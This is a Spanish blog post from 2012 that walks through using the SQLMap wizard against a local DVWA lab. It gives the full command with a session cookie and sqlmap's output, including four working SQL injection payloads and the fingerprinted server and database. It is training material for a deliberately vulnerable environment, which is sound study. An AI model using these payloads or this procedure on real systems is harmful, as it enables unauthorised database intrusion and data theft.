27 de diciembre de 2012

SQLMap Training: Wizard

Que les parece si comenzamos a "jugar" con SQLMap, para ello voy a asumir que ya tienen instalado en un entorno de desarrollo DVWA para evitar cualquier tipo de problema por inspeccionar y explotar este tipo de vulnerabilidades.

Por otro lado DVWA es un escenario de training fantástico que recomiendo a todos para iniciarse en la explotación de técnicas hacking mucho más de cerca.

Lo más interesante de DVWA es tratar de no utilizar las herramientas automatizadas para resolver cada uno de los retos planteados, pero como estamos en el Training de SQLMap vamos a saltear esa regla e intentar explotar el fallo de SQL Injection haciendo uso de esta herramienta.

Para los nuevos usuarios que recién se están iniciando en el uso de herramientas en consola, vallan haciéndose la idea que más allá de tener una pantalla en negro con un irritante cursor blanco esperando, hay un potencial increíble en esa consola y hoy por hoy existen muchas herramientas de seguridad que están programadas para que funciones directamente en la línea de comandos.

Entonces nos autenticamos en DVWA, lo primero que vamos a hacer dentro es modificar su seguridad, en la opción DVWA Security lo vamos a setear en low para ir comprendiendo la utilización de las herramientas.

Vamos hasta el menú que dice "SQL Injection" allí vamos a encontrar un input text esperando que le ingresemos algún dato para luego procesarla y ejecutar esa consulta.

Si le ingresamos un valor 1 obtenemos un resultado, y si pueden ver es posible copiar la URL con las variables GET utilizadas

http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
Esta es una pieza fundamental para intentar explotar una vulnerabilidad, que al principio vamos a asumir que se encuentra en la variable “id” y la idea es comenzar a descubrir cuál es la estructura interna de la consulta para luego ir extrayendo información propia de la Base de Datos.

Una aclaración antes de ejecutar el wizard de SQLMap, como estamos utilizando un sistema en donde estamos autenticados con un usuario y contraseña, vamos a necesita usar las cookies de esta sesión. Por eso es posible que para otras prácticas no sea necesaria si o si el uso de este parámetro.

La cookie de la sesión es posible verla en el menú de DVWA PHP Info y verificando el Header Cookie y el mismo tiene un aspecto similar a este:

security=low; PHPSESSID=463c1k297vn2nsfi48abvr5po0 

Con todos estos datos ya podemos desplegar nuestro wizar y comenzar a realizar las pruebas junto a SQLMap

Así que desde una consola de comandos nos dirigimos hasta donde se encuentra sqlmap, y ejecutamos lo siguiente

$ ./sqlmap.py --cookie="security=low; PHPSESSID=463c1k297vn2nsfi48abvr5po0" --wizard

    sqlmap/1.0-dev-6ae4590 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 06:34:53

Please enter full target URL (-u): http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

sqlmap identified the following injection points with a total of 26 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 2817=2817 AND 'wHLU'='wHLU&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 9554 FROM(SELECT COUNT(*),CONCAT(0x3a6871633a,(SELECT (CASE WHEN (9554=9554) THEN 1 ELSE 0 END)),0x3a726c6c3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YztJ'='YztJ&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x3a6871633a,0x74535767584f646c796c,0x3a726c6c3a),NULL#&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'mUVL'='mUVL&Submit=Submit
---
web server operating system: Linux Ubuntu 11.10 (Oneiric Ocelot)
web application technology: Apache 2.2.20, PHP 5.3.6
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5.0
banner:    '5.1.66-0ubuntu0.11.10.3'
current user:    'dmaldonado@localhost'
current database:    'dvwa'
current user is DBA:    None

[*] shutting down at 06:35:27

Luego gracias a la opción del wizard nos queda completar la información de la URL a escanear, indicarle si existen otros parámetros a investigar y procesar, que para el caso fue None y finalmente en dificultad Nomal y enumeración Básica.

Con todo este, SQLMap verificó con 26 consultas, explotó la vulnerabilidad que se encuentra en la variable “id” y tuvo la capacidad de identificar banderas del Sistema Operativo y la Base de Datos, nombre de la base de datos y el usuario que establece conexión con la base de datos.

Con esto ustedes pueden observar lo simple que se puede llevar una explotación de SQL Injection utilizando el poder de SQLMap, si con esto se encuentran sorprendido esperen a probar en las opciones de enumeración en el wizard SMART y ALL y créanme que no lo van a poder creer, que como es que de un pequeño error de validación de una variable en una consulta puede dejar la puerta abierta para extraer tanta información.

No hay comentarios.:

Publicar un comentario

Entradas populares